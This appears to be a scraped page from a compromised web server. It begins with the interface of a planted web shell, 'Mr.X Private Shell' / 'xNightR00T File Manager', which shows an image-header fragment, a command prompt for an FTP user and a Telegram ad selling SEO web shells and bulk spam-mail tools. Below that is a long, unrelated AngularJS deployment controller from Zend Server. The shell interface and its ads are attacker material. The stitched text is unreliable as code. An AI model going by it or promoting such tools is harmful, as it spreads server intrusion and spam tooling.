xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
zsApp.controller('DeploymentController', 
	['$scope', '$rootScope', '$q', '$sce', 'WebAPI', '$timeout', '$location', 'ngDialog', 'Upload', '$http', '$filter', 'DeploymentWizard', 'zPromptBox','zMessageBox', 'zConfirmBox', 
	function($scope, $rootScope, $q, $sce, WebAPI, $timeout, $location, ngDialog, Upload, $http, $filter, DeploymentWizard, zPromptBox,zMessageBox, zConfirmBox) {
		$scope.setHelpLinkSlug('deployment');
		$scope.timeouts = {};
		$scope.isZddOffline = false;
        
		$scope.$defineWizardScope = $scope.$new();
        
        // keep the last operation, for more informative apps messages
        $scope.lastOperation = false;

		$scope.gridOptions = {
			expandableRowTemplate: '/ZendServer/ModuleResource/Deployment/templates/applications/table/appExpanded.html',
			columnDefs: [{
				field: 'status',
				displayName: '',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/applications/table/appStatusCol.html',
				width: '30'
			}, {
				field: 'userAppName',
				displayName: 'Name',
				width: '*',
				cellTooltip: function(row) {
					return row.entity.userAppName;
				},
				enableSorting: true
			}, {
				field: 'deployedVersions.deployedVersion',
				displayName: 'Versions',
				cellTemplate: '<div class="ui-grid-cell-contents">' + 
						'<span ng-bind-html="row.entity | applicationVersionsFilter "></span>' + 
					'</div>',
				width: '100'
			}, {
				field: 'isDefinedApplication',
				displayName: 'Type',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/applications/table/appTypeCol.html',
                enableSorting: true,
                sortingAlgorithm: function(a, b, aRow, bRow) {
                    // give a number (grade) to row A
                    var aIsDefined = aRow.entity.isDefinedApplication;
                    var aIsPartial = aRow.entity.pendingVersion;
                    var aGrade = aIsDefined ? 0 : (aIsPartial ? 2 : 1);
                    
                    // give a number (grade) to row B
                    var bIsDefined = bRow.entity.isDefinedApplication;
                    var bIsPartial = bRow.entity.pendingVersion;
                    var bGrade = bIsDefined ? 0 : (bIsPartial ? 2 : 1);
                    
                    // compare grades
                    return aGrade > bGrade ? 1 : (aGrade == bGrade ? 0 : -1);
                },
				width: '60'
			}, {
				field: 'messageList',
				displayName: 'Messages',
				cellTemplate: '<div class="ui-grid-cell-contents" ng-bind-html="row.entity[col.field] | appMessageList:row.entity:grid.appScope.lastOperation"></div>',
				width: '*'
			}, {
				field: 'baseUrl',
				displayName: 'Base URL',
				cellFilter: 'appBaseURL',
				width: '*'
			}, {
				field: 'id',
				displayName: 'Actions',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/applications/table/appActionsCol.html',
				width: '230'
			}, ],
			//override row template to add ng-click attribute
			rowTemplate: '<div ng-class="{\'expanded\':row.isExpanded}" ng-click="grid.appScope.toggleRow(grid.api,row)" ng-repeat="(colRenderIndex, col) in colContainer.renderedColumns track by col.uid" class="ui-grid-cell" ng-class="col.colIndex()" ui-grid-cell></div>',
			onRegisterApi: function(gridApi) {
				gridApi.expandable.on.rowExpandedStateChanged($scope, function(row) {
					if (row.isExpanded) {
						$scope.onExpand(row);
					}
				});
				$scope.gridApi = gridApi;
			},
			rowIdentity: function(entity) {
				return entity.id;
			},
			expandableRowHeight: 50,
			rowIndex: 'id', //Polling hash index
		};
                
                
		$scope.addVhostGridOptions = {
			expandableRowTemplate: '/ZendServer/ModuleResource/Deployment/templates/applications/table/appExpanded.html',
			columnDefs: [{
				field: 'status',
				displayName: '',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/applications/table/appStatusCol.html',
				width: '30'
			}, {
				field: 'userAppName',
				displayName: 'Name',
				width: '*',
				cellTooltip: function(row) {
					return row.entity.userAppName;
				},
				enableSorting: true
			}, {
				field: 'deployedVersions.deployedVersion',
				displayName: 'Versions',
				cellTemplate: '<div class="ui-grid-cell-contents">' + 
						'<span ng-bind-html="row.entity | applicationVersionsFilter "></span>' + 
					'</div>',
				width: '100'
			}, {
				field: 'isDefinedApplication',
				displayName: 'Type',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/applications/table/appTypeCol.html',
				width: '60'
			}, {
				field: 'messageList',
				displayName: 'Messages',
				cellTemplate: '<div class="ui-grid-cell-contents" ng-bind-html="row.entity[col.field] | appMessageList:row.entity:grid.appScope.lastOperation"></div>',
				width: '*'
			}, {
				field: 'baseUrl',
				displayName: 'Base URL',
				cellFilter: 'appBaseURL',
				width: '*'
			}, {
				field: 'id',
				displayName: 'Actions',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/applications/table/appActionsCol.html',
				width: '230'
			}, ],
			//override row template to add ng-click attribute
			rowTemplate: '<div ng-class="{\'expanded\':row.isExpanded}" ng-click="grid.appScope.toggleRow(grid.api,row)" ng-repeat="(colRenderIndex, col) in colContainer.renderedColumns track by col.uid" class="ui-grid-cell" ng-class="col.colIndex()" ui-grid-cell></div>',
			onRegisterApi: function(gridApi) {
				gridApi.expandable.on.rowExpandedStateChanged($scope, function(row) {
					if (row.isExpanded) {
						$scope.onExpand(row);
					}
				});
				$scope.gridApi = gridApi;
			},
			rowIdentity: function(entity) {
				return entity.id;
			},
			expandableRowHeight: 50,
			rowIndex: 'id', //Polling hash index
		};
		
		$scope.selectRowsCheckbox = {};
		
		// check if the selected servers have an update
		$scope.toggleSelectAllServers = function(row) {
			
			if (!$scope.selectRowsCheckbox[row.entity.id]) {
				// unselect operation
				if (row.checkNodes) {
					delete row.checkNodes;
				}
				
			} else {
				// do select operation
				// collect all node IDs
				var newCheckNodes = row.entity.servers.applicationServer;
				Object.keys(newCheckNodes).forEach(function(keyName) {
					newCheckNodes[keyName] = true;
				});
				
				row.checkNodes = newCheckNodes;
			}
			
			// update the object that the deployment works with
			row.redeployServers = row.checkNodes ? Object.keys(row.checkNodes) : [];
		};
		
		$scope.getSelectedNodes = function(row) {
			// check who's selected
			var selectedServers = [];
			if (row.checkNodes) {
				Object.keys(row.checkNodes).forEach(function(checkNodeItemKey) {
					if (row.checkNodes[checkNodeItemKey]) {
						selectedServers.push(checkNodeItemKey);
					}
				});
			}
			
			return selectedServers;
		};
		
		var getNodesVersions = function(serversData, baseUrl) {
			var versionsData = {};
			
			Object.keys(serversData).forEach(function(nodeId) {
				var serverData = serversData[nodeId];
				var serverVersion = serverData.version;

				// change the IP of the
				// ZSR-3607 only if we are in cluster and baseUrl points to localhost IP
				if (serverData.NODE_IP && baseUrl.indexOf('127.0.0.1') > 0) {
					// parse and fix the "default-server" host
					baseUrl = $filter('appBaseURL')(baseUrl);

					// change the host to the new IP
					baseUrl = new URL(baseUrl);
					baseUrl.host = serverData.NODE_IP;
					baseUrl = baseUrl.href;
				}
				
				if (!versionsData.hasOwnProperty(serverVersion)) {
					versionsData[serverVersion] = {
						node_id: nodeId,
						version: serverVersion,
						host: baseUrl,
						deployment_time: serverData.deployment_time
					};
				}
			});
			
			return versionsData;
		};
		
		// get information about the stable version - the lowest version in the stack
		$scope.getVersionData = function(applicationDetails, getStable) {
			if (!applicationDetails || Object.keys(applicationDetails).length === 0) {
				return {};
			}
			
			var serversData = applicationDetails.servers;
			
			var nodesData = getNodesVersions(serversData, applicationDetails.applicationInfo.baseUrl);
			var totalVersionsCount = Object.keys(nodesData).length;
			
			// check failure
			if (totalVersionsCount === 0) {
				return {};
			}
			
			// check if only one version
			if (totalVersionsCount === 1) {
				if (getStable) {
					var versionNumber = Object.keys(nodesData)[0];
					return nodesData[versionNumber];
				} else {
					return {};
				}
			}
			
			// return the lowest version
			var version_1 = Object.keys(nodesData)[0];
			var version_2 = Object.keys(nodesData)[1];
			
			// the lowest version is the stable one
			if (versionCompare(version_1, version_2) < 0) {
				return getStable ? nodesData[version_1] : nodesData[version_2];
			} else {
				return getStable ? nodesData[version_2] : nodesData[version_1];
			}
		};
		
		// generate the tooltip according to single/cluster/partial parameters
		$scope.getUpdateButtonTooltip = function(appRow) {
			if (appRow.pendingVersion) {
				if ($rootScope.serverData['is-cluster']) {
					return 'Update all servers to the new version';
				} else {
					return 'Update to the new version';
				}
			} else {
				return 'Update';
			}
		};
		
		$scope.getRollbackButtonTooltip = function(appRow) {
			var rollbackAllowed = $rootScope.aclService.isAllowed('route:DeploymentWebAPI', 'applicationRollback');
			var updateAllowed = $rootScope.aclService.isAllowed('route:DeploymentWebAPI', 'applicationUpdate');
			
			if (!rollbackAllowed || !updateAllowed) {
				return 'Want to roll back to a previous application state? Contact us to upgrade';
			}
			
			if (appRow.pendingVersion) {
				if ($rootScope.serverData['is-cluster']) {
					return 'Rollback all the servers to the stable version';
				} else {
					return 'Rollback to the stable version';
				}
			} else {
				if ($rootScope.serverData['is-cluster']) {
					return 'Rollback all the servers to the previous version';
				} else {
					return 'Rollback to the previous version';
				}
			}
		};
		
		// check if the selected servers are at the latest version of the application
		$scope.selectedServersAreUpdated = function(row) {
			var selectedServers = $scope.getSelectedNodes(row);
			
			// no server is selected
			if (selectedServers.length === 0) {
				return true;
			}
			
			// there's no pending deployment
			if (!row.entity.pendingVersion) {
				return true;
			}
			
			var thereAreUpdatedServers = false;
			selectedServers.forEach(function(selectedServerId) {
				// check if the selectedServerId is at the latest version
				if (row.entity.servers.applicationServer[selectedServerId].deployedVersion == row.entity.pendingVersion) {
					thereAreUpdatedServers = true;
				}
			});
			
			return thereAreUpdatedServers;
		};
		
		// update specific node
		$scope.updateNodes = function(appId, servers, customMessage) {
            
			customMessage = customMessage || 'Update the node(s)?';
			// open confirmation box
			zConfirmBox(customMessage, function() {
                $scope.lastOperation = 'Update';
				// collect node ids
				var nodeIds = [];
				servers.forEach(function(server) {
					// check if nodeIds is a array of numbers or server objects
					if (server == parseInt(server)) {
						nodeIds.push(server);
					} else if (server.NODE_ID && server.NODE_ID == parseInt(server.NODE_ID)) {
						nodeIds.push(server.NODE_ID);
					}
				});
				
				WebAPI({
					method: 'POST',
					url: '/ZendServer/Api/applicationUpdate',
					data: {
						appId: appId,
						nodes: nodeIds,
					}
				}).then(function(res) {
					
				}, function(res) {
					
				});
				
			}, function() {
				// operation cancelled
			});
		};
                
		$scope.addVhostsToApp = function ($event, row) {
			var appId = row.entity.id;
			var appName = row.entity.appName;
			$rootScope.isAttachingVhost = false;
			$event.stopPropagation(); //prevent event bubbling (row will'nt expand)

			var webAppApiParams = {
				url: '/ZendServer/Api/applicationGetDetails',
				params: {
					application: appId
				}
			};

			var webApiParams = {
				url: '/ZendServer/Api/vhostGetStatus',
				params: {
                            limit : -1,
                            'filters[owner][0]' : 1,
                            'filters[owner][1]' : 2
				}
			};

			ngDialog.open({
				template: '/ZendServer/ModuleResource/Deployment/templates/applications/add_app_vhosts.html',
				className: 'ngdialog-theme-default ngdialog-wizard ngdialog-theme-blue',
				showClose: true,
				controller: ['$scope','$rootScope', 'WebAPI', function ($scope,$rootScope, WebAPI) {
		
					// update specific node
					$scope.attachSelectedVhosts = function(appId, vhosts ) {
						$rootScope.isAttachingVhost = true;
						WebAPI({
								method: 'POST',
								url: '/ZendServer/Api/applicationAttachVhosts',
								data: {
									appId: appId,
									vhosts: $rootScope.getSelectedValues(vhosts),
								}
							}).then(function(res) {
								ngDialog.close();
							}, function(res) {
								ngDialog.close();
								handleAjaxError(res, 'Error has occurred when trying to attach the selected virtual hosts!');
							}).finally(function() {
                                $rootScope.isAttachingVhost = false;
							});
					};

					$scope.isLoading = true;
						$scope.filterdVhost = [];
						$scope.selectedDialogVhost = [];
						WebAPI(webAppApiParams).then(function (response) {
							var appVhosts = response.data.responseData.applicationDetails.vhosts;
							WebAPI(webApiParams).then(function (response) {
							var allVhosts = response.data.responseData.list;
								angular.forEach(allVhosts, function (originVhost) {
                                    var isExist = false;
                                    var isFirst = false;
                                    angular.forEach(appVhosts, function (appVhost) {
                                        if (originVhost.id === appVhost.id) {
                                            isExist = true;
                                        }
                                        if (originVhost.name === appVhost.name) {
                                            isFirst = true;
                                        }
                                    });
                                        if (!isExist) {
                                            if(isFirst){
                                                $scope.filterdVhost.unshift(originVhost);
                                            }else{
                                            $scope.filterdVhost.push(originVhost);
                                        }
                                        }
								});
								$scope.isLoading = false; 
							});
						});
				}],
				data: {
					appName: appName,
					appId: appId
				}
			});
		};
                
		// update specific node
        $scope.detachingSelectedVhosts = false;
		$scope.detachSelectedVhosts = function(appId, vhosts, row ) {
			if ($scope.isAllVhostsSelected(row)) {
				zMessageBox("Can't remove all virtual hosts",'At least one virtual host is required');
				return ;
			}
			var message = 'Detach the selected vhost(s)?';
			
			// open confirmation box
			zConfirmBox(message, function() {
                $scope.lastOperation = 'VHost(s) detach';
                $scope.detachingSelectedVhosts = true;
                WebAPI({
                    method: 'POST',
                    url: '/ZendServer/Api/applicationDetachVhosts',
                    data: {
                        appId: appId,
                        vhosts: vhosts,
                    }
                }).then(function(res) {
                    // unselect vhosts
                    angular.forEach(row.appData.data.vhosts, function(vhost) {
                        if ($scope.isVhostAppStatusEligible(vhost.status)){
                            row.selectedVhosts[vhost.id] = false;
                        }
                    });

                }, function() {
                    // operation cancelled
                }).finally(function() {
                    $scope.detachingSelectedVhosts = false;
                });
            });
		};
		
		// define sorting field and order by application ID
		$scope.appServersSorting = {};
		
		// change the sorting or the table
		$scope.orderServersTableBy = function(field, appId) {
			if (typeof($scope.appServersSorting[appId]) == 'undefined') {
				$scope.appServersSorting[appId] = {
					field: field,
					direction: 'asc'
				};
			} else {
				if ($scope.appServersSorting[appId].field == field) {
					$scope.appServersSorting[appId].direction = $scope.appServersSorting[appId].direction == 'asc' ? 'desc' : 'asc';
				} else {
					$scope.appServersSorting[appId].field = field;
					$scope.appServersSorting[appId].direction = 'asc';
				}
			}
		};
                
		$scope.filterAppVhosts = [];

		$scope.onExpand = function(row, inPollingAction) {
			if (!inPollingAction) {
				row.appData = {
					data: {},
					isLoading: true,
				};
			}
			
			var webApiParams = {
				url: '/ZendServer/Api/applicationGetDetails',
				params: {
					application: row.entity[$scope.gridOptions.rowIndex]
				}
			};
			
			if (inPollingAction) {
				webApiParams.ignoreLoadingBar = true;
			}
			
            
            var promise;
            // if the status is "in progress" (status ends with "...ing"), skip web API call (polling)
            if (row.entity.status.match(/ing$/g)) {
                promise = $q(function(resolve, reject) {
                    resolve();
                });
            } else {
                promise = WebAPI(webApiParams).then(function(responseApps) {
                    row.appData.data = responseApps.data.responseData.applicationDetails;
                    
                    if (typeof row.selectedVhosts === 'undefined') {
                        row.selectedVhosts = [];
                    } else {
                        angular.forEach(row.appData.data.vhosts, function(vhost) {
                            if($scope.isVhostAppStatusEligible(vhost.status)){
                                row.selectedVhosts[vhost.id] = false;
                            }
                        });
                    }
                    
                    angular.forEach(row.appData.data.vhosts, function(vhost, index) {

                    	angular.forEach(row.appData.data.vhostsAddresses, function(vhostAddr) {
                            if (vhost.id == vhostAddr.id) {
                            	vhost.address = vhostAddr.address;
                            }
                        });
                        
                        if (vhost.status == "Error") {
                        	angular.forEach(vhost.servers, function(server) {
                        		vhost.message = server.lastMessage;
                        	});
                        } else {
                        	vhost.message = '';
                        }
                    });
                    
                    // fix the messages of servers to show in the template
                    angular.forEach(row.appData.data.servers, function(server) {
                    	server.messages = $sce.trustAsHtml(server.messages);
                    });
                   
                    if (row.appData.data.applicationInfo.status.test('error', ['i']) && (0 < row.appData.data.applicationInfo.messageList.length)) {
                        row.appData.error = true;
                    }
                    if (row.appData.data.applicationPackage.prerequisites !== '' && row.appData.data.applicationPackage.prerequisites !== '<dependencies></dependencies>') {
                        row.appData.prerequisites = true;
                    }
                    
                    // set the active tab on the first time
                    if (!inPollingAction) {
                        row.activeTab = row.appData.error ? 'error' : 'details';
                    }
                    
                    row.vhostsTabName = ($rootScope.serverData.isIIS) ? 'Web Sites' : 'Virtual Hosts';
                    
                }, function(responseApps) {
                    //Failure
                });
            }
            
            promise.finally(function() {
				row.appData.isLoading = false;
				
				// poll the app details while the app details is open
				if (row.isExpanded && row && row.entity && row.entity.id) {
					
					// check that the app exists (to avoid polling when the app
					var appExists = false;
					if ($scope.gridOptions.data && $scope.gridOptions.data.length > 0) {
						$scope.gridOptions.data.forEach(function(appDetails) {
							if (appDetails.id == row.entity.id) {
								appExists = true;
							}
						});
					}
					
					// continue polling app details
					if (appExists) {
						$timeout.cancel($scope.timeouts['appDetailsTimer' + row.entity.id]);
						
						$scope.timeouts['appDetailsTimer' + row.entity.id] = $timeout(function() {
							$scope.onExpand(row, 'inPollingAction = true');
						}, 2000);
					}
				}
			});
            
            return promise;
		};

		$scope.getApplicationPrerequisites = function(row) {
			
			$http({
				data: {
					app_id: row.entity.id
				},
				url: '/ZendServer/Deployment/Get-Application-Prerequisites/?json=1',
				method: 'post'
			}).then(function(response) {
				row.prerequisites = response.data;
			}, function(response) {
				document.fireEvent('toastAlert', {
					'message': 'Can\'t load prerequisites list'
				});
			}).finally(function() {
				row.prerequisitesLoading = false;
			});
		};
        
		$scope.rollbackInProgress = false;
		$scope.doRollback = function(row) {

            if (!$rootScope.aclService.isAllowed('route:DeploymentWebAPI', 'applicationRollback')) {
                // MARKETING
                document.fireEvent('toastAlert', {
                    'message': 'This action is not available in this edition of Zend Server. Contact us to upgrade.'
                });
                return;
            }
            
            var confirmationMessage = 'Rolling back the application causes the application to revert to its previous version.<br/>' + 
                '<br/>' + 
                'Are you sure you wish to proceed?';
            
            zConfirmBox(confirmationMessage, function() {
                $scope.lastOperation = 'Rollback';
                $scope.stopPolling();
                row.isRollback = true;
                $scope.rollbackInProgress = true;
                WebAPI({
                    url: '/ZendServer/Api/applicationRollback',
                    data: {
                        appId: row.entity.id
                    },
                    method: 'post'
                }).then(function(responseApps) {
                    $scope.pollApplicationsTasks[row.entity.id] = {
                        action: 'rollback',
                        callback: function(row, isSuccess) {
                            row.isRollback = false;
                        }
                    };
                    document.fireEvent('toastNotification', {
                        'message': 'Rolling back application...'
                    });
                    ngDialog.close();
                }, function(responseApps) {
                    document.fireEvent('toastAlert', {
                        'message': $scope.tasksFailedMessages.rollback
                    });
                }).finally(function() {
                    $scope.pollApplications();
                    row.isRollback = false;
                    $scope.rollbackInProgress = false;
                });
            });

		};
                
		$scope.countSelectedVhosts = function(selectedVhosts) {
			var counter = 0;
			angular.forEach(selectedVhosts, function(status,vhostId) {
				if (status) {
					counter++;
				}
			});
			  
			return counter;
		};
		
		$scope.isAllVhostsSelected = function (row) {
			var result = true;
			angular.forEach(row.appData.data.vhosts, function (vhost) {
				if (!$scope.isVhostAppStatusEligible(vhost.status) && !row.selectedVhosts[vhost.id]) {
					result = false;
				}
			});
			return result;
		};
		
	  
		$scope.countAvailableVhosts = function (row) {
			var count = 0;
			angular.forEach(row.appData.data.vhosts, function (vhost) {
				if (!$scope.isVhostAppStatusEligible(vhost.status)) {
					count++;
				}
			});
			
			return count;
		};                

		$scope.doRedeploy = function(row, serversList) {
            var confirmationMessage = "Redeploying an application will remove and deploy it again. During this process, the application may be unavailable and Zend Server will be restarted..<br/>" + 
                "<br/>" + 
                "Are you sure you wish to proceed?";
            zConfirmBox(confirmationMessage, function() {
                $scope.lastOperation = 'Redeploy';
                
                // Synchronize application
                var params = {
                    appId: row.entity.id
                };
                
                // check the servers list parameter - if not supplied, take all the servers
                if (!serversList) {
                	// fixed #ZSR-1638, redeploying on all servers
                    serversList = {};
                }
                
                params.servers = serversList;

                row.isRedeploy = true;
                $scope.stopPolling();
                WebAPI({
                    url: '/ZendServer/Api/applicationSynchronize',
                    data: params,
                    method: 'post'
                }).then(function(responseApps) {
                    document.fireEvent('toastNotification', {
                        'message': 'Redeploying application...'
                    });
                    $scope.pollApplicationsTasks[row.entity.id] = {
                        action: 'redeploy',
                        callback: function(row, isSuccess) {
                            row.isRedeploy = false;
                        }
                    };
                    ngDialog.close();
                }, function(responseApps) {
                    document.fireEvent('toastAlert', {
                        'message': $scope.tasksFailedMessages.redeploy
                    });
                }).finally(function() {
                    $scope.pollApplications();
                });
                    
            });
        };

        $scope.doRename = function(row) {
            zPromptBox('Application Name:', row.entity.userAppName, function(newName) {
                $scope.lastOperation = 'Rename';
                $scope.isRenaming = true;
                $rootScope.ngDialogDisableClose = true;
                WebAPI({
                    url: '/ZendServer/Api/changeApplicationName',
                    data: {
                        application: row.entity.id,
                        name: newName
                    },
                    method: 'post'
                }).then(function(responseApps) {
                    //Success
                    row.entity.userAppName = newName;
                    if (row.appData) {
                        row.appData.data.applicationInfo.userAppName = newName;
                    }
                    document.fireEvent('toastNotification', {
                        'message': 'Application was successfully renamed'
                    });
                }, function(responseApps) {
                    //Failure
                }).finally(function() {
                    $scope.isRenaming = false;
                    ngDialog.close();
                });
            });
        };

        $scope.doRemove = function(row) {
            var message = 'Removing the application will result in a loss of all the associated<br/>' + 
                'Caching, Monitoring and Job Queue rules.<br/>' + 
                '<br/>' + 
                '<div id="modal-msg" style="font-weight:bold;">' + 
                '   <span>' + 
                        (row.entity.isDefinedApplication ? 
                            "The application will be deleted from the list but not from your server.<br/>Are you sure you wish to proceed?" :
                            "The application will be deleted from the list and your server.<br/>Are you sure you wish to proceed?"
                        ) + 
                '   </span>' + 
                '</div>';
            
            zConfirmBox(message, function() {
                $scope.lastOperation = 'Remove';
                $rootScope.ngDialogDisableClose = true;
                row.isRemoving = true;
                row.startedRemoveProcess = true;
                $scope.stopPolling();
                
                // stop app details Polling
                if (typeof($scope.timeouts['appDetailsTimer' + row.entity.id]) != 'undefined') {
                    $timeout.cancel($scope.timeouts['appDetailsTimer' + row.entity.id]);
                }
                
                WebAPI({
                    url: '/ZendServer/Api/applicationRemove',
                    data: {
                        appId: row.entity.id,
                        removeApplicationData: 1 //Remove all jobs related to app flag
                    },
                    method: 'post'
                }).then(function(responseApps) {

                    $scope.pollApplicationsTasks[row.entity.id] = {
                        action: 'remove'
                    };
                    if (row.isExpanded) {
                        $scope.toggleRow($scope, row);
                    }
                    document.fireEvent('toastNotification', {
                        'message': 'Removing application...'
                    });
                    ngDialog.close();
                }, function(responseApps) {
                    document.fireEvent('toastAlert', {
                        'message': $scope.tasksFailedMessages.remove
                    });
                }).finally(function() {
                    $scope.pollApplications();
                    row.isRemoving = false;
                });

            });
		};

		$scope.update = function($event, row) {
            $scope.lastOperation = 'Update';
            
			$event.stopPropagation(); //prevent event bubbling (row will'nt expand)
			if (row.entity.pendingVersion) {
				var appId = row.entity.id;
				var confirmationMessage = $rootScope.serverData['is-cluster'] ? 
					'All the nodes will be updated to the new version. Continue?' :
					'The application will be updated to the new version. Continue?';
				var servers = [];
				
				// update all the (remaining) servers.
				// check which servers have to be updated
				Object.keys(row.entity.servers.applicationServer).forEach(function(nodeId) {
					var versionOnTheNode = row.entity.servers.applicationServer[nodeId].deployedVersion;
					if (versionOnTheNode != row.entity.pendingVersion) {
						servers.push(nodeId);
					}
				});
				
				// update the servers
				$scope.updateNodes(appId, servers, confirmationMessage);
			} else {
				// open the update dialog
				$scope.openWizard('update', {
					applicationId: row.entity.id,
                    applicationDetails: row.entity,
					version: row.entity.deployedVersions.deployedVersion
				});
			}

		};

		$scope.openWizard = function(action, options) {
			if (!action) {
				action = 'deploy';
			}
			if (!options) {
				options = {};
			}
			options.onSuccess = function(response) {
				if (action == 'deploy') {
					document.fireEvent('toastNotification', {
						'message': 'Deploying application...'
					});
					$scope.pollApplicationsTasks[response.data[0]] = {
						action: 'deploy'
					};
				}
				if (action == 'update') {
					document.fireEvent('toastNotification', {
						'message': 'Updating application...'
					});
					$scope.pollApplicationsTasks[response.data[0]] = {
						action: 'update'
					};
				}
			};

			DeploymentWizard.open(action, options);
		};

		$scope.tasksFailedMessages = {
			remove: 'Failed to remove the application',
			redeploy: 'Failed to redeploy the application',
			deploy: 'Deployment stopped due to an error',
			update: 'Failed to update the application',
			rollback: 'Failed to roll back the application'
		};

		$scope.tasksMessages = {
			remove: 'Application was successfully removed',
			redeploy: 'Application was successfully redeployed',
			deploy: 'Application was successfully deployed',
			update: 'Application was successfully updated',
			rollback: 'Application was successfully rolled back'
		};

		$scope.pollApplications = function(firstPoll) {
			$scope.stopPolling();
			$scope.isPollingActive = true;
			//Load Applications
			if (firstPoll) {
				$scope.isLoading = true;
			}
			
            var promise = WebAPI({
				url: '/ZendServer/Api/applicationGetStatus',
				ignoreLoadingBar: true
			});
            
            promise.then(function(responseApps) {
				//Success
				$scope.gridOptions.data = responseApps.data.responseData.applicationsList;
				if (!firstPoll) {
					$scope.gridApi.grid.modifyRows($scope.gridOptions.data);
				} else {
					$timeout(function() {
						$rootScope.openSelectedGrids($scope.gridApi);
					}, 500);
					return;
				}
				//Tasks
				var applicationsId = [];
				angular.forEach($scope.gridApi.grid.getVisibleRows(), function(row) {
					var application = row.entity;
					applicationsId.push(application.id);
					var task = $scope.pollApplicationsTasks[application.id];
					if (task && (!$scope.rowEligible(application.status))) {
						if (['uploadError', 'stageError', 'activateError', 'deactivateError', 'unstageError'].contains(application.status)) {
							if ($scope.tasksFailedMessages[task.action]) {
								document.fireEvent('toastAlert', {
									'message': $scope.tasksFailedMessages[task.action]
								});
							}
							if (task.callback) {
								task.callback(row, false);
							}
						} else {
							if ($scope.tasksMessages[task.action]) {
								document.fireEvent('toastNotification', {
									'message': $scope.tasksMessages[task.action]
								});
							}
							if (task.callback) {
								task.callback(row, true);
							}
						}

						if (row.isExpanded) {
							var inPollingAction = !firstPoll;
							$scope.onExpand(row, inPollingAction);
						}

						delete $scope.pollApplicationsTasks[application.id];
					}
				});
				//we need to iterate non visible apps (removed) by remove task
				angular.forEach($scope.pollApplicationsTasks, function(task, appId) {
					if (task && task.action == 'remove' && !applicationsId.contains(appId)) {
						//removed app found
						document.fireEvent('toastNotification', {
							'message': $scope.tasksMessages[task.action]
						});

						$scope.pollApplicationsTasks[appId] = false;
					}
				});
			}, function(responseApps) {
				//Failure
			}).finally(function() {
				$scope.isLoading = false;
				if ($scope.isPollingActive) {
					$scope.timeouts.pollApplications = $timeout($scope.pollApplications, 2000);
				}
			});
            
            return promise;
		};

		$scope.stopPolling = function() {
			$scope.isPollingActive = false;
			$timeout.cancel($scope.timeouts.pollApplications);
		};

		$scope.rowEligible = function(status) {
			var eligibleStates = ['deployed', 'error', 'uploadError', 'stageError', 'activateError', 'deactivateError', 'unstageError', 'unknown', 'notExists'];
			return !eligibleStates.contains(status);
		};
                
        $scope.isVhostAppStatusEligible = function(status) {
			var eligibleStates = ['WAITING_ATTACH', 'WAITING_DETACH', 'ATTACHING', 'DETACHING'];
			return eligibleStates.contains(status);
		};
                
        $scope.isVhostAppStatusOk = function(status) {
			var eligibleStates = ['ATTACHED', 'Ok'];
			return eligibleStates.contains(status);
		};
                 
		$scope.$defineWizardScope.loadDefinedApp = function(app) {
            if(!$scope.$defineWizardScope.wizard.app.base_url || $scope.$defineWizardScope.wizard.app.base_url == '' ){
                $scope.$defineWizardScope.wizard.app.base_url = app.base_url;
            }
            if(!$scope.$defineWizardScope.wizard.app.name || $scope.$defineWizardScope.wizard.app.name == ''){
                $scope.$defineWizardScope.wizard.app.name = app.name;
            }
            if(!$scope.$defineWizardScope.wizard.app.version  || $scope.$defineWizardScope.wizard.app.version == ''){
                $scope.$defineWizardScope.wizard.app.version = app.version;
            }
            if(!$scope.$defineWizardScope.wizard.app.health_check_path || $scope.$defineWizardScope.wizard.app.health_check_path == ''){
                $scope.$defineWizardScope.wizard.app.health_check_path = app.health_check_path;
            }
            if(!$scope.$defineWizardScope.wizard.app.logo || $scope.$defineWizardScope.wizard.app.logo == '' ){
                $scope.$defineWizardScope.wizard.app.logo = $scope.$defineWizardScope.wizard.app.logo || false;
            } 
		};

		$scope.$defineWizardScope.defineAppLogoDropped = function(files) {
			if (!files || !files.length) {
				return;
			}
			$scope.$defineWizardScope.wizard.app.logo = files[0];
		};


		$scope.$defineWizardScope.onDefineApplicationFailure = function() {
			document.fireEvent('toastAlert', {
				'message': _t("Failed to Define Application")
			});
		};

		$scope.$defineWizardScope.defineApplication = function() {
			document.fireEvent('toastNotification', {
				'message': 'Defining application...'
			});
            
			$scope.$defineWizardScope.wizard.isDefining = true;
            
            // autocomplete works on "base_url", but manual typing fills "baseUrl". We choose the one
            if (
                typeof($scope.$defineWizardScope.wizard.app.base_url) != 'undefined' && 
                $scope.$defineWizardScope.wizard.app.base_url.length > 0 && 
                (
                    typeof($scope.$defineWizardScope.wizard.app.baseUrl) == 'undefined' ||
                    $scope.$defineWizardScope.wizard.app.baseUrl.length === 0
                )
            ) {
                $scope.$defineWizardScope.wizard.app.baseUrl = $scope.$defineWizardScope.wizard.app.base_url;
            }
            
            $scope.$defineWizardScope.wizard.app.baseUrl = $scope.$defineWizardScope.wizard.app.baseUrl.replace('[default-server]', '<default-server>');
            
			var url = '/ZendServer/Api/applicationDefine';
			if (! $scope.$defineWizardScope.wizard.app.logo) {
				delete $scope.$defineWizardScope.wizard.app.logo;
				// No Logo Selected
				WebAPI({
					url: url,
					data: $scope.$defineWizardScope.wizard.app,
					method: 'post'
				}).then(function(response) {
					if (! response.data.responseData.applicationInfo) {
